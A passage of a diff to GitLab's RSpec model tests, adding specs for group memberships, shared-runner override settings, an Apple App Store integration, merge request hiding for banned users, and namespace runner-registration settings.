+ 'source_type' => 'Namespace',
+ 'source_id' => group.id
+ )
+ end
+ end
+
+ shared_examples 'member_namespace membership relationship' do
+ it do
+ expect(membership.attributes).to include(
+ 'member_namespace_id' => group.id
+ )
+ end
+ end
+
+ describe '#namespace_members setters' do
+ let(:user) { create(:user) }
+ let(:membership) { group.namespace_members.create!(user: user, access_level: Gitlab::Access::DEVELOPER) }
+
+ it { expect(membership).to be_instance_of(GroupMember) }
+ it { expect(membership.user).to eq user }
+ it { expect(membership.group).to eq group }
+ it { expect(membership.requested_at).to be_nil }
+
+ it_behaves_like 'polymorphic membership relationship'
+ it_behaves_like 'member_namespace membership relationship'
+ end
+
+ describe '#namespace_requesters setters' do
+ let(:requested_at) { Time.current }
+ let(:user) { create(:user) }
+ let(:membership) do
+ group.namespace_requesters.create!(user: user, requested_at: requested_at, access_level: Gitlab::Access::DEVELOPER)
+ end
+
+ it { expect(membership).to be_instance_of(GroupMember) }
+ it { expect(membership.user).to eq user }
+ it { expect(membership.group).to eq group }
+ it { expect(membership.requested_at).to eq requested_at }
+
+ it_behaves_like 'polymorphic membership relationship'
+ it_behaves_like 'member_namespace membership relationship'
+ end
+
+ describe '#members & #requesters' do
+ let_it_be(:requester) { create(:user) }
+ let_it_be(:developer) { create(:user) }
+
+ before do
+ group.request_access(requester)
+ group.add_developer(developer)
+ end
+
it_behaves_like 'members and requesters associations' do
let(:namespace) { group }
end
@@ -2648,7 +2742,81 @@ RSpec.describe Group do
end
end
- context 'disabled_with_override' do
+ context 'disabled_and_overridable' do
+ subject { group.update_shared_runners_setting!(Namespace::SR_DISABLED_AND_OVERRIDABLE) }
+
+ context 'top level group' do
+ let_it_be(:group) { create(:group, :shared_runners_disabled) }
+ let_it_be(:sub_group) { create(:group, :shared_runners_disabled, parent: group) }
+ let_it_be(:project) { create(:project, shared_runners_enabled: false, group: sub_group) }
+
+ it 'enables allow descendants to override only for itself' do
+ expect { subject_and_reload(group, sub_group, project) }
+ .to change { group.allow_descendants_override_disabled_shared_runners }.from(false).to(true)
+ .and not_change { group.shared_runners_enabled }
+ .and not_change { sub_group.allow_descendants_override_disabled_shared_runners }
+ .and not_change { sub_group.shared_runners_enabled }
+ .and not_change { project.shared_runners_enabled }
+ end
+ end
+
+ context 'group that its ancestors have shared Runners disabled but allows to override' do
+ let_it_be(:parent) { create(:group, :shared_runners_disabled, :allow_descendants_override_disabled_shared_runners) }
+ let_it_be(:group) { create(:group, :shared_runners_disabled, parent: parent) }
+ let_it_be(:project) { create(:project, shared_runners_enabled: false, group: group) }
+
+ it 'enables allow descendants to override' do
+ expect { subject_and_reload(parent, group, project) }
+ .to not_change { parent.allow_descendants_override_disabled_shared_runners }
+ .and not_change { parent.shared_runners_enabled }
+ .and change { group.allow_descendants_override_disabled_shared_runners }.from(false).to(true)
+ .and not_change { group.shared_runners_enabled }
+ .and not_change { project.shared_runners_enabled }
+ end
+ end
+
+ context 'when parent does not allow' do
+ let_it_be(:parent, reload: true) { create(:group, :shared_runners_disabled, allow_descendants_override_disabled_shared_runners: false) }
+ let_it_be(:group, reload: true) { create(:group, :shared_runners_disabled, allow_descendants_override_disabled_shared_runners: false, parent: parent) }
+
+ it 'raises exception' do
+ expect { subject }
+ .to raise_error(ActiveRecord::RecordInvalid, 'Validation failed: Allow descendants override disabled shared runners cannot be enabled because parent group does not allow it')
+ end
+
+ it 'does not allow descendants to override' do
+ expect do
+ begin
+ subject
+ rescue StandardError
+ nil
+ end
+
+ parent.reload
+ group.reload
+ end.to not_change { parent.allow_descendants_override_disabled_shared_runners }
+ .and not_change { parent.shared_runners_enabled }
+ .and not_change { group.allow_descendants_override_disabled_shared_runners }
+ .and not_change { group.shared_runners_enabled }
+ end
+ end
+
+ context 'top level group that has shared Runners enabled' do
+ let_it_be(:group) { create(:group, shared_runners_enabled: true) }
+ let_it_be(:sub_group) { create(:group, shared_runners_enabled: true, parent: group) }
+ let_it_be(:project) { create(:project, shared_runners_enabled: true, group: sub_group) }
+
+ it 'enables allow descendants to override & disables shared runners everywhere' do
+ expect { subject_and_reload(group, sub_group, project) }
+ .to change { group.shared_runners_enabled }.from(true).to(false)
+ .and change { group.allow_descendants_override_disabled_shared_runners }.from(false).to(true)
+ .and change { sub_group.shared_runners_enabled }.from(true).to(false)
+ .and change { project.shared_runners_enabled }.from(true).to(false)
+ end
+ end
+ end
+
+ context 'disabled_with_override (deprecated)' do
subject { group.update_shared_runners_setting!(Namespace::SR_DISABLED_WITH_OVERRIDE) }
context 'top level group' do
@@ -3486,4 +3654,26 @@ RSpec.describe Group do
it { is_expected.to be_nil }
end
end
+
+ describe '#usage_quotas_enabled?', feature_category: :subscription_cost_management, unless: Gitlab.ee? do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:feature_enabled, :root_group, :result) do
+ false | true | false
+ false | false | false
+ true | false | false
+ true | true | true
+ end
+
+ with_them do
+ before do
+ stub_feature_flags(usage_quotas_for_all_editions: feature_enabled)
+ allow(group).to receive(:root?).and_return(root_group)
+ end
+
+ it 'returns the expected result' do
+ expect(group.usage_quotas_enabled?).to eq result
+ end
+ end
+ end
end
diff --git a/spec/models/integration_spec.rb b/spec/models/integration_spec.rb
index 78b30221a24..9b3250e3c08 100644
--- a/spec/models/integration_spec.rb
+++ b/spec/models/integration_spec.rb
@@ -29,6 +29,7 @@ RSpec.describe Integration do
it { is_expected.to be_tag_push_events }
it { is_expected.to be_wiki_page_events }
it { is_expected.not_to be_active }
+ it { is_expected.not_to be_incident_events }
it { expect(subject.category).to eq(:common) }
end
@@ -153,6 +154,7 @@ RSpec.describe Integration do
include_examples 'hook scope', 'confidential_note'
include_examples 'hook scope', 'alert'
include_examples 'hook scope', 'archive_trace'
+ include_examples 'hook scope', 'incident'
end
describe '#operating?' do
diff --git a/spec/models/integrations/apple_app_store_spec.rb b/spec/models/integrations/apple_app_store_spec.rb
new file mode 100644
index 00000000000..1a57f556895
--- /dev/null
+++ b/spec/models/integrations/apple_app_store_spec.rb
@@ -0,0 +1,105 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::AppleAppStore, feature_category: :mobile_devops do
+ describe 'Validations' do
+ context 'when active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of :app_store_issuer_id }
+ it { is_expected.to validate_presence_of :app_store_key_id }
+ it { is_expected.to validate_presence_of :app_store_private_key }
+ it { is_expected.to allow_value('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee').for(:app_store_issuer_id) }
+ it { is_expected.not_to allow_value('abcde').for(:app_store_issuer_id) }
+ it { is_expected.to allow_value(File.read('spec/fixtures/ssl_key.pem')).for(:app_store_private_key) }
+ it { is_expected.not_to allow_value("foo").for(:app_store_private_key) }
+ it { is_expected.to allow_value('ABCD1EF12G').for(:app_store_key_id) }
+ it { is_expected.not_to allow_value('ABC').for(:app_store_key_id) }
+ it { is_expected.not_to allow_value('abc1').for(:app_store_key_id) }
+ it { is_expected.not_to allow_value('-A0-').for(:app_store_key_id) }
+ end
+ end
+
+ context 'when integration is enabled' do
+ let(:apple_app_store_integration) { build(:apple_app_store_integration) }
+
+ describe '#fields' do
+ it 'returns custom fields' do
+ expect(apple_app_store_integration.fields.pluck(:name)).to eq(%w[app_store_issuer_id app_store_key_id
+ app_store_private_key])
+ end
+ end
+
+ describe '#test' do
+ it 'returns true for a successful request' do
+ allow(AppStoreConnect::Client).to receive_message_chain(:new, :apps).and_return({})
+ expect(apple_app_store_integration.test[:success]).to be true
+ end
+
+ it 'returns false for an invalid request' do
+ allow(AppStoreConnect::Client).to receive_message_chain(:new,
+:apps).and_return({ errors: [title: "error title"] })
+ expect(apple_app_store_integration.test[:success]).to be false
+ end
+ end
+
+ describe '#help' do
+ it 'renders prompt information' do
+ expect(apple_app_store_integration.help).not_to be_empty
+ end
+ end
+
+ describe '.to_param' do
+ it 'returns the name of the integration' do
+ expect(described_class.to_param).to eq('apple_app_store')
+ end
+ end
+
+ describe '#ci_variables' do
+ let(:apple_app_store_integration) { build_stubbed(:apple_app_store_integration) }
+
+ it 'returns vars when the integration is activated' do
+ ci_vars = [
+ {
+ key: 'APP_STORE_CONNECT_API_KEY_ISSUER_ID',
+ value: apple_app_store_integration.app_store_issuer_id,
+ masked: true,
+ public: false
+ },
+ {
+ key: 'APP_STORE_CONNECT_API_KEY_KEY',
+ value: Base64.encode64(apple_app_store_integration.app_store_private_key),
+ masked: true,
+ public: false
+ },
+ {
+ key: 'APP_STORE_CONNECT_API_KEY_KEY_ID',
+ value: apple_app_store_integration.app_store_key_id,
+ masked: true,
+ public: false
+ }
+ ]
+
+ expect(apple_app_store_integration.ci_variables).to match_array(ci_vars)
+ end
+
+ it 'returns an empty array when the integration is disabled' do
+ apple_app_store_integration = build_stubbed(:apple_app_store_integration, active: false)
+ expect(apple_app_store_integration.ci_variables).to match_array([])
+ end
+ end
+ end
+
+ context 'when integration is disabled' do
+ let(:apple_app_store_integration) { build_stubbed(:apple_app_store_integration, active: false) }
+
+ describe '#ci_variables' do
+ it 'returns an empty array' do
+ expect(apple_app_store_integration.ci_variables).to match_array([])
+ end
+ end
+ end
+end
diff --git a/spec/models/integrations/base_chat_notification_spec.rb b/spec/models/integrations/base_chat_notification_spec.rb
index 67fc09fd8b5..1527ffd7278 100644
--- a/spec/models/integrations/base_chat_notification_spec.rb
+++ b/spec/models/integrations/base_chat_notification_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Integrations::BaseChatNotification do
+RSpec.describe Integrations::BaseChatNotification, feature_category: :integrations do
describe 'default values' do
it { expect(subject.category).to eq(:chat) }
end
@@ -134,6 +134,12 @@ RSpec.describe Integrations::BaseChatNotification do
it_behaves_like 'notifies the chat integration'
end
+
+ context 'Incident events' do
+ let(:data) { issue.to_hook_data(user).merge!({ object_kind: 'incident' }) }
+
+ it_behaves_like 'notifies the chat integration'
+ end
end
context 'when labels_to_be_notified_behavior is not defined' do
diff --git a/spec/models/integrations/chat_message/issue_message_spec.rb b/spec/models/integrations/chat_message/issue_message_spec.rb
index ff9f30efdca..cd40e4c361e 100644
--- a/spec/models/integrations/chat_message/issue_message_spec.rb
+++ b/spec/models/integrations/chat_message/issue_message_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Integrations::ChatMessage::IssueMessage do
let(:args) do
{
+ object_kind: 'issue',
user: {
name: 'Test User',
username: 'test.user',
diff --git a/spec/models/integrations/chat_message/pipeline_message_spec.rb b/spec/models/integrations/chat_message/pipeline_message_spec.rb
index 413cb097327..4d371ca0899 100644
--- a/spec/models/integrations/chat_message/pipeline_message_spec.rb
+++ b/spec/models/integrations/chat_message/pipeline_message_spec.rb
@@ -80,18 +80,6 @@ RSpec.describe Integrations::ChatMessage::PipelineMessage do
expect(name_field[:value]).to eq('Build pipeline')
end
- context 'when pipeline_name feature flag is disabled' do
- before do
- stub_feature_flags(pipeline_name: false)
- end
-
- it 'does not return pipeline name' do
- name_field = subject.attachments.first[:fields].find { |a| a[:title] == 'Pipeline name' }
-
- expect(name_field).to be nil
- end
- end
-
context "when the pipeline failed" do
before do
args[:object_attributes][:status] = 'failed'
diff --git a/spec/models/integrations/every_integration_spec.rb b/spec/models/integrations/every_integration_spec.rb
index 33e89b3dabc..8666ef512fc 100644
--- a/spec/models/integrations/every_integration_spec.rb
+++ b/spec/models/integrations/every_integration_spec.rb
@@ -11,9 +11,9 @@ RSpec.describe 'Every integration' do
let(:integration) { integration_class.new }
context 'secret fields', :aggregate_failures do
- it "uses type: 'password' for all secret fields" do
+ it "uses type: 'password' for all secret fields, except when bypassed" do
integration.fields.each do |field|
- next unless Integrations::Field::SECRET_NAME.match?(field[:name])
+ next unless Integrations::Field::SECRET_NAME.match?(field[:name]) && field[:is_secret]
expect(field[:type]).to eq('password'),
"Field '#{field[:name]}' should use type 'password'"
diff --git a/spec/models/integrations/field_spec.rb b/spec/models/integrations/field_spec.rb
index 642fb1fbf7f..c30f9ef0d7b 100644
--- a/spec/models/integrations/field_spec.rb
+++ b/spec/models/integrations/field_spec.rb
@@ -83,6 +83,8 @@ RSpec.describe ::Integrations::Field do
be false
when :type
eq 'text'
+ when :is_secret
+ eq true
else
be_nil
end
diff --git a/spec/models/issue_spec.rb b/spec/models/issue_spec.rb
index 7c147067714..fdb397932e0 100644
--- a/spec/models/issue_spec.rb
+++ b/spec/models/issue_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe Issue, feature_category: :project_management do
using RSpec::Parameterized::TableSyntax
let_it_be(:user) { create(:user) }
- let_it_be(:reusable_project) { create(:project) }
+ let_it_be_with_reload(:reusable_project) { create(:project) }
describe "Associations" do
it { is_expected.to belong_to(:milestone) }
diff --git a/spec/models/member_spec.rb b/spec/models/member_spec.rb
index 0ebccf1cb65..4b28f619d94 100644
--- a/spec/models/member_spec.rb
+++ b/spec/models/member_spec.rb
@@ -303,7 +303,7 @@ RSpec.describe Member do
@requested_member = project.requesters.find_by(user_id: requested_user.id)
accepted_request_user = create(:user).tap { |u| project.request_access(u) }
- @accepted_request_member = project.requesters.find_by(user_id: accepted_request_user.id).tap { |m| m.accept_request }
+ @accepted_request_member = project.requesters.find_by(user_id: accepted_request_user.id).tap { |m| m.accept_request(@owner_user) }
@member_with_minimal_access = create(:group_member, :minimal_access, source: group)
end
@@ -777,18 +777,25 @@ RSpec.describe Member do
describe '#accept_request' do
let(:member) { create(:project_member, requested_at: Time.current.utc) }
- it { expect(member.accept_request).to be_truthy }
+ it { expect(member.accept_request(@owner_user)).to be_truthy }
+ it { expect(member.accept_request(nil)).to be_truthy }
it 'clears requested_at' do
- member.accept_request
+ member.accept_request(@owner_user)
expect(member.requested_at).to be_nil
end
+ it 'saves the approving user' do
+ member.accept_request(@owner_user)
+
+ expect(member.created_by).to eq(@owner_user)
+ end
+
it 'calls #after_accept_request' do
expect(member).to receive(:after_accept_request)
- member.accept_request
+ member.accept_request(@owner_user)
end
end
@@ -799,33 +806,27 @@ RSpec.describe Member do
end
describe '#request?' do
- context 'when request for project' do
- subject { create(:project_member, requested_at: Time.current.utc) }
+ shared_examples 'calls notification service and todo service' do
+ subject { create(source_type, requested_at: Time.current.utc) }
- it 'calls notification service but not todo service' do
+ specify do
expect_next_instance_of(NotificationService) do |instance|
expect(instance).to receive(:new_access_request)
end
- expect(TodoService).not_to receive(:new)
+ expect_next_instance_of(TodoService) do |instance|
+ expect(instance).to receive(:create_member_access_request_todos)
+ end
is_expected.to be_request
end
end
- context 'when request for group' do
- subject { create(:group_member, requested_at: Time.current.utc) }
-
- it 'calls notification and todo service' do
- expect_next_instance_of(NotificationService) do |instance|
- expect(instance).to receive(:new_access_request)
- end
-
- expect_next_instance_of(TodoService) do |instance|
- expect(instance).to receive(:create_member_access_request)
+ context 'when requests for project and group are raised' do
+ %i[project_member group_member].each do |source_type|
+ it_behaves_like 'calls notification service and todo service' do
+ let_it_be(:source_type) { source_type }
end
-
- is_expected.to be_request
end
end
end
diff --git a/spec/models/members/member_role_spec.rb b/spec/models/members/member_role_spec.rb
index f9d6757bb90..b118a3c0968 100644
--- a/spec/models/members/member_role_spec.rb
+++ b/spec/models/members/member_role_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe MemberRole do
+RSpec.describe MemberRole, feature_category: :authentication_and_authorization do
describe 'associations' do
it { is_expected.to belong_to(:namespace) }
it { is_expected.to have_many(:members) }
@@ -14,6 +14,27 @@ RSpec.describe MemberRole do
it { is_expected.to validate_presence_of(:namespace) }
it { is_expected.to validate_presence_of(:base_access_level) }
+ context 'for attributes_locked_after_member_associated' do
+ context 'when assigned to member' do
+ it 'cannot be changed' do
+ member_role.save!
+ member_role.members << create(:project_member)
+
+ expect(member_role).not_to be_valid
+ expect(member_role.errors.messages[:base]).to include(
+ s_("MemberRole|cannot be changed because it is already assigned to a user. "\
+ "Please create a new Member Role instead")
+ )
+ end
+ end
+
+ context 'when not assigned to member' do
+ it 'can be changed' do
+ expect(member_role).to be_valid
+ end
+ end
+ end
+
context 'when for namespace' do
let_it_be(:root_group) { create(:group) }
diff --git a/spec/models/merge_request/approval_removal_settings_spec.rb b/spec/models/merge_request/approval_removal_settings_spec.rb
index 5f879207a72..7e375c7ff39 100644
--- a/spec/models/merge_request/approval_removal_settings_spec.rb
+++ b/spec/models/merge_request/approval_removal_settings_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe MergeRequest::ApprovalRemovalSettings do
+RSpec.describe MergeRequest::ApprovalRemovalSettings, :with_license do
describe 'validations' do
let(:reset_approvals_on_push) {}
let(:selective_code_owner_removals) {}
diff --git a/spec/models/merge_request_diff_spec.rb b/spec/models/merge_request_diff_spec.rb
index a17b90930f0..1ecc4356672 100644
--- a/spec/models/merge_request_diff_spec.rb
+++ b/spec/models/merge_request_diff_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe MergeRequestDiff do
+RSpec.describe MergeRequestDiff, feature_category: :code_review_workflow do
using RSpec::Parameterized::TableSyntax
include RepoHelpers
@@ -412,7 +412,19 @@ RSpec.describe MergeRequestDiff do
describe '#diffs_in_batch' do
let(:diff_options) { {} }
+ shared_examples_for 'measuring diffs metrics' do
+ specify do
+ allow(Gitlab::Metrics).to receive(:measure).and_call_original
+ expect(Gitlab::Metrics).to receive(:measure).with(:diffs_reorder).and_call_original
+ expect(Gitlab::Metrics).to receive(:measure).with(:diffs_collection).and_call_original
+
+ diff_with_commits.diffs_in_batch(0, 10, diff_options: diff_options)
+ end
+ end
+
shared_examples_for 'fetching full diffs' do
+ it_behaves_like 'measuring diffs metrics'
+
it 'returns diffs from repository comparison' do
expect_next_instance_of(Compare) do |comparison|
expect(comparison).to receive(:diffs)
@@ -435,6 +447,13 @@ RSpec.describe MergeRequestDiff do
expect(diffs.pagination_data).to eq(total_pages: nil)
end
+
+ it 'measures diffs_comparison' do
+ allow(Gitlab::Metrics).to receive(:measure).and_call_original
+ expect(Gitlab::Metrics).to receive(:measure).with(:diffs_comparison).and_call_original
+
+ diff_with_commits.diffs_in_batch(1, 10, diff_options: diff_options)
+ end
end
context 'when no persisted files available' do
@@ -454,6 +473,8 @@ RSpec.describe MergeRequestDiff do
end
context 'when persisted files available' do
+ it_behaves_like 'measuring diffs metrics'
+
it 'returns paginated diffs' do
diffs = diff_with_commits.diffs_in_batch(0, 10, diff_options: diff_options)
diff --git a/spec/models/merge_request_spec.rb b/spec/models/merge_request_spec.rb
index 05586cbfc64..a059d5cae9b 100644
--- a/spec/models/merge_request_spec.rb
+++ b/spec/models/merge_request_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe MergeRequest, factory_default: :keep do
+RSpec.describe MergeRequest, factory_default: :keep, feature_category: :code_review_workflow do
include RepoHelpers
include ProjectForksHelper
include ReactiveCachingHelpers
@@ -165,6 +165,25 @@ RSpec.describe MergeRequest, factory_default: :keep do
expect(described_class.drafts).to eq([merge_request4])
end
end
+
+ describe '.without_hidden', feature_category: :insider_threat do
+ let_it_be(:banned_user) { create(:user, :banned) }
+ let_it_be(:hidden_merge_request) { create(:merge_request, :unique_branches, author: banned_user) }
+
+ it 'only returns public issuables' do
+ expect(described_class.without_hidden).not_to include(hidden_merge_request)
+ end
+
+ context 'when feature flag is disabled' do
+ before do
+ stub_feature_flags(hide_merge_requests_from_banned_users: false)
+ end
+
+ it 'returns public and hidden issuables' do
+ expect(described_class.without_hidden).to include(hidden_merge_request)
+ end
+ end
+ end
end
describe '#squash?' do
@@ -4546,6 +4565,34 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
end
+ describe 'transition to merged' do
+ context 'when reset_merge_error_on_transition feature flag is on' do
+ before do
+ stub_feature_flags(reset_merge_error_on_transition: true)
+ end
+
+ it 'resets the merge error' do
+ subject.update!(merge_error: 'temp')
+
+ expect { subject.mark_as_merged }.to change { subject.merge_error.present? }
+ .from(true)
+ .to(false)
+ end
+ end
+
+ context 'when reset_merge_error_on_transition feature flag is off' do
+ before do
+ stub_feature_flags(reset_merge_error_on_transition: false)
+ end
+
+ it 'does not reset the merge error' do
+ subject.update!(merge_error: 'temp')
+
+ expect { subject.mark_as_merged }.not_to change { subject.merge_error.present? }
+ end
+ end
+ end
+
describe 'transition to cannot_be_merged' do
let(:notification_service) { double(:notification_service) }
let(:todo_service) { double(:todo_service) }
@@ -5456,4 +5503,27 @@ RSpec.describe MergeRequest, factory_default: :keep do
it { is_expected.to be_empty }
end
+
+ describe '#hidden?', feature_category: :insider_threat do
+ let_it_be(:author) { create(:user) }
+ let(:merge_request) { build_stubbed(:merge_request, author: author) }
+
+ subject { merge_request.hidden? }
+
+ it { is_expected.to eq(false) }
+
+ context 'when the author is banned' do
+ let_it_be(:author) { create(:user, :banned) }
+
+ it { is_expected.to eq(true) }
+
+ context 'when the feature flag is disabled' do
+ before do
+ stub_feature_flags(hide_merge_requests_from_banned_users: false)
+ end
+
+ it { is_expected.to eq(false) }
+ end
+ end
+ end
end
diff --git a/spec/models/ml/candidate_spec.rb b/spec/models/ml/candidate_spec.rb
index 9ce411191f0..fa8952dc0f4 100644
--- a/spec/models/ml/candidate_spec.rb
+++ b/spec/models/ml/candidate_spec.rb
@@ -4,6 +4,14 @@ require 'spec_helper'
RSpec.describe Ml::Candidate, factory_default: :keep do
let_it_be(:candidate) { create(:ml_candidates, :with_metrics_and_params) }
+ let_it_be(:candidate2) { create(:ml_candidates, experiment: candidate.experiment) }
+
+ let_it_be(:candidate_artifact) do
+ FactoryBot.create(:generic_package,
+ name: candidate.package_name,
+ version: candidate.package_version,
+ project: candidate.project)
+ end
let(:project) { candidate.experiment.project }
@@ -22,13 +30,13 @@ RSpec.describe Ml::Candidate, factory_default: :keep do
describe '.artifact_root' do
subject { candidate.artifact_root }
- it { is_expected.to eq("/ml_candidate_#{candidate.iid}/-/") }
+ it { is_expected.to eq("/ml_candidate_#{candidate.id}/-/") }
end
describe '.package_name' do
subject { candidate.package_name }
- it { is_expected.to eq("ml_candidate_#{candidate.iid}") }
+ it { is_expected.to eq("ml_candidate_#{candidate.id}") }
end
describe '.package_version' do
@@ -38,27 +46,45 @@ RSpec.describe Ml::Candidate, factory_default: :keep do
end
describe '.artifact' do
- subject { candidate.artifact }
+ let(:tested_candidate) { candidate }
- context 'when has logged artifacts' do
- let(:package) do
- create(:generic_package, name: candidate.package_name, version: candidate.package_version, project: project)
- end
+ subject { tested_candidate.artifact }
- it 'returns the package' do
- package
+ before do
+ candidate_artifact
+ end
- is_expected.to eq(package)
+ context 'when has logged artifacts' do
+ it 'returns the package' do
+ expect(subject.name).to eq(tested_candidate.package_name)
end
end
context 'when does not have logged artifacts' do
- let(:tested_candidate) { create(:ml_candidates, :with_metrics_and_params) }
+ let(:tested_candidate) { candidate2 }
it { is_expected.to be_nil }
end
end
+ describe '.artifact_lazy' do
+ context 'when candidates have same the same iid' do
+ before do
+ BatchLoader::Executor.clear_current
+ end
+
+ it 'loads the correct artifacts', :aggregate_failures do
+ candidate.artifact_lazy
+ candidate2.artifact_lazy
+
+ expect(Packages::Package).to receive(:joins).once.and_call_original # Only one database call
+
+ expect(candidate.artifact.name).to eq(candidate.package_name)
+ expect(candidate2.artifact).to be_nil
+ end
+ end
+ end
+
describe '#by_project_id_and_iid' do
let(:project_id) { candidate.experiment.project_id }
let(:iid) { candidate.iid }
@@ -95,12 +121,13 @@ RSpec.describe Ml::Candidate, factory_default: :keep do
end
end
- describe "#including_metrics_and_params" do
- subject { described_class.including_metrics_and_params.find_by(id: candidate.id) }
+ describe "#including_relationships" do
+ subject { described_class.including_relationships.find_by(id: candidate.id) }
it 'loads latest metrics and params', :aggregate_failures do
expect(subject.association_cached?(:latest_metrics)).to be(true)
expect(subject.association_cached?(:params)).to be(true)
+ expect(subject.association_cached?(:user)).to be(true)
end
end
end
diff --git a/spec/models/namespace_setting_spec.rb b/spec/models/namespace_setting_spec.rb
index e06a6a30f9a..0bf6fdf4fa0 100644
--- a/spec/models/namespace_setting_spec.rb
+++ b/spec/models/namespace_setting_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe NamespaceSetting, type: :model do
+RSpec.describe NamespaceSetting, feature_category: :subgroups, type: :model do
it_behaves_like 'sanitizable', :namespace_settings, %i[default_branch_name]
# Relationships
@@ -235,6 +235,80 @@ RSpec.describe NamespaceSetting, type: :model do
end
end
+ describe '#allow_runner_registration_token?' do
+ subject(:group_setting) { group.allow_runner_registration_token? }
+
+ context 'when a top-level group' do
+ let_it_be(:settings) { create(:namespace_settings) }
+ let_it_be(:group) { create(:group, namespace_settings: settings) }
+
+ before do
+ group.update!(allow_runner_registration_token: allow_runner_registration_token)
+ end
+
+ context 'when :allow_runner_registration_token is false' do
+ let(:allow_runner_registration_token) { false }
+
+ it 'returns false', :aggregate_failures do
+ is_expected.to be_falsey
+
+ expect(settings.allow_runner_registration_token).to be_falsey
+ end
+
+ it 'does not query the db' do
+ expect { group_setting }.not_to exceed_query_limit(0)
+ end
+ end
+
+ context 'when :allow_runner_registration_token is true' do
+ let(:allow_runner_registration_token) { true }
+
+ it 'returns true', :aggregate_failures do
+ is_expected.to be_truthy
+
+ expect(settings.allow_runner_registration_token).to be_truthy
+ end
+
+ context 'when disallowed by application setting' do
+ before do
+ stub_application_setting(allow_runner_registration_token: false)
+ end
+
+ it { is_expected.to be_falsey }
+ end
+ end
+ end
+
+ context 'when a group has parent groups' do
+ let_it_be_with_refind(:parent) { create(:group) }
+ let_it_be_with_refind(:group) { create(:group, parent: parent) }
+
+ before do
+ parent.update!(allow_runner_registration_token: allow_runner_registration_token)
+ end
+
+ context 'when a parent group has runner registration disabled' do
+ let(:allow_runner_registration_token) { false }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when all parent groups have runner registration enabled' do
+ let(:allow_runner_registration_token) { true }
+
+ it { is_expected.to be_truthy }
+
+ context 'when disallowed by application setting' do
+ before do
+ stub_application_setting(allow_runner_registration_token: false)
+ end
+
+ it { is_expected.to be_falsey }
+ end
+ end
+ end
+ end
+
describe '#delayed_project_removal' do
it_behaves_like 'a cascading namespace setting boolean attribute', settings_attribute_name: :delayed_project_removal
end
diff --git a/spec/models/namespace_spec.rb b/spec/models/namespace_spec.rb
index 80721e11049..d063f4713c7 100644
--- a/spec/models/namespace_spec.rb
+++ b/spec/models/namespace_spec.rb
@@ -35,6 +35,7 @@ RSpec.describe Namespace do
it { is_expected.to have_one :cluster_enabled_grant }
it { is_expected.to have_many(:work_items) }
it { is_expected.to have_many :achievements }
+ it { is_expected.to have_many(:namespace_commit_emails).class_name('Users::NamespaceCommitEmail') }
it do
is_expected.to have_one(:ci_cd_settings).class_name('NamespaceCiCdSetting').inverse_of(:namespace).autosave(true)
@@ -363,6 +364,10 @@ RSpec.describe Namespace do
it { is_expected.to delegate_method(:name).to(:owner).with_prefix.allow_nil }
it { is_expected.to delegate_method(:avatar_url).to(:owner).allow_nil }
it { is_expected.to delegate_method(:prevent_sharing_groups_outside_hierarchy).to(:namespace_settings).allow_nil }
+ it { is_expected.to delegate_method(:runner_registration_enabled).to(:namespace_settings) }
+ it { is_expected.to delegate_method(:runner_registration_enabled?).to(:namespace_settings) }
+ it { is_expected.to delegate_method(:allow_runner_registration_token).to(:namespace_settings) }
+ it { is_expected.to delegate_method(:allow_runner_registration_token?).to(:namespace_settings) }
it { is_expected.to delegate_method(:maven_package_requests_forwarding).to(:package_settings) }
it { is_expected.to delegate_method(:pypi_package_requests_forwarding).to(:package_settings) }
it { is_expected.to delegate_method(:npm_package_requests_forwarding).to(:package_settings) }
@@ -371,6 +376,16 @@ RSpec.describe Namespace do
is_expected.to delegate_method(:prevent_sharing_groups_outside_hierarchy=).to(:namespace_settings)
.with_arguments(:args).allow_nil
end
+
+ it do
+ is_expected.to delegate_method(:runner_registration_enabled=).to(:namespace_settings)
+ .with_arguments(:args)
+ end
+
+ it do
+ is_expected.to delegate_method(:allow_runner_registration_token=).to(:namespace_settings)
+ .with_arguments(:args)
+ end
end
describe "Respond to" do
@@ -2114,7 +2129,7 @@ RSpec.describe Namespace do
where(:shared_runners_enabled, :allow_descendants_override_disabled_shared_runners, :shared_runners_setting) do
true | true | Namespace::SR_ENABLED
true | false | Namespace::SR_ENABLED
- false | true | Namespace::SR_DISABLED_WITH_OVERRIDE
+ false | true | Namespace::SR_DISABLED_AND_OVERRIDABLE
false | false | Namespace::SR_DISABLED_AND_UNOVERRIDABLE
end
@@ -2133,12 +2148,15 @@ RSpec.describe Namespace do
where(:shared_runners_enabled, :allow_descendants_override_disabled_shared_runners, :other_setting, :result) do
true | true | Namespace::SR_ENABLED | false
true | true | Namespace::SR_DISABLED_WITH_OVERRIDE | true
+ true | true | Namespace::SR_DISABLED_AND_OVERRIDABLE | true
true | true | Namespace::SR_DISABLED_AND_UNOVERRIDABLE | true
false | true | Namespace::SR_ENABLED | false
false | true | Namespace::SR_DISABLED_WITH_OVERRIDE | false
+ false | true | Namespace::SR_DISABLED_AND_OVERRIDABLE | false
false | true | Namespace::SR_DISABLED_AND_UNOVERRIDABLE | true
false | false | Namespace::SR_ENABLED | false
false | false | Namespace::SR_DISABLED_WITH_OVERRIDE | false
+ false | false | Namespace::SR_DISABLED_AND_OVERRIDABLE | false
false | false | Namespace::SR_DISABLED_AND_UNOVERRIDABLE | false
end
diff --git a/spec/models/note_spec.rb b/spec/models/note_spec.rb
index 328d3ba7dda..4b574540500 100644
--- a/spec/models/note_spec.rb
+++ b/spec/models/note_spec.rb
@@ -1622,6 +1622,50 @@ RSpec.describe Note do
expect(described_class.with_suggestions).not_to include(note_without_suggestion)
end
end
+
+ describe '.inc_relations_for_view' do
